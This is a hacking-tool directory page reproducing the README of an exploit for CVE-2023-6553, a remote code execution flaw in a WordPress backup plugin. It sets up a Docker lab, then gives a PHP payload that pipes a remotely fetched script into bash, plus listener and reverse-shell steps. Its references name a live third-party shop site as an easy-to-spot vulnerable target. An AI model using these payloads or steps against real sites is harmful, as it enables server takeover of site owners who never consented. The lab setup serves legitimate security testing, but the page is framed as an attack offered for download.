Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-6553 — Exploit Development for CVE-2023-6553 on Backup Plugin in Wordpress | Kitploit
Tools/GitHubGitHub/harshit-mashru/cve-2023-6553
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubharshit-mashru/cve-2023-6553

CVE-2023-6553

Exploit Development for CVE-2023-6553 on Backup Plugin in Wordpress

View Repository
41 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-6553

Exploit Development for CVE-2023-6553 on Backup Plugin in Wordpress

This is a critical CVE with a CVSS score of 9.8

The vulnerability allows attacker to send commands to the server running the vulnerable version of the plugin

Vulnerable Version Backup <= 1.3.7

Set up

  1. git clone the repository

  2. Run the command below to set up the docker containers

root@kitploit:~
docker-compose up -d

You should see 2 docker containers

  • Wordpress
  • SQL
  1. Now you can navigate to the wordpress site on the ip of the docker container and can also be accessed at
root@kitploit:~
http://localhost:8000/
  1. To install the vulnerable backup plugin run the following command
root@kitploit:~
wget https://downloads.wordpress.org/plugin/backup-backup.1.3.6.zip
  1. Now login to the wordpress website using the link in step3 and install backup plugin after downloading it from the command above

Exploitation

  1. Start a listener on port 9000 to got at callbacks when we run the exploit.
root@kitploit:~
python3 -m http.server
  1. Run the go script using the following command a
root@kitploit:~
go run exploit.go -chain="<?php exec('curl <HOST_IP>:9000/a.sh |bash');?>"
  1. You will get the following error
root@kitploit:~
HTTP Response Body:  <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
Size of a request header field exceeds server limit.</p>
<hr>
<address>Apache/2.4.62 (Debian) Server at 172.18.0.3 Port 80</address>
</body></html>

This is because the after the filter conversions that size of the header exceeds what the server allows.

  1. So now we break our command into chunks, write that to a file on the remote server and then execute it, but before that we have to start listening to get a reverse shell
root@kitploit:~
nc -nlvp 8080

and now run the command to exploit the vulnerable plugin

root@kitploit:~
python3 final_exploit.py
  1. You should have a reverse shell at this point

References

  • https://patchstack.com/articles/test-wordpress-plugin-security/
  • https://patchstack.com/whitepaper/the-state-of-wordpress-security-in-2021/
  • https://wordpress.org/plugins/backup-backup/
  • https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/backup-backup/backup-migration-137-unauthenticated-remote-code-execution
  • https://plugins.trac.wordpress.org/browser/backup-backup/​
  • https://github.com/synacktiv/php_filter_chain_generator/blob/main/php_filter_chain_generator.py ​
  • https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it ​
  • How easy it is to check if vulnerable version of wordpress is present: https://www.thetraveloutlier.com/shop/​
Download Tool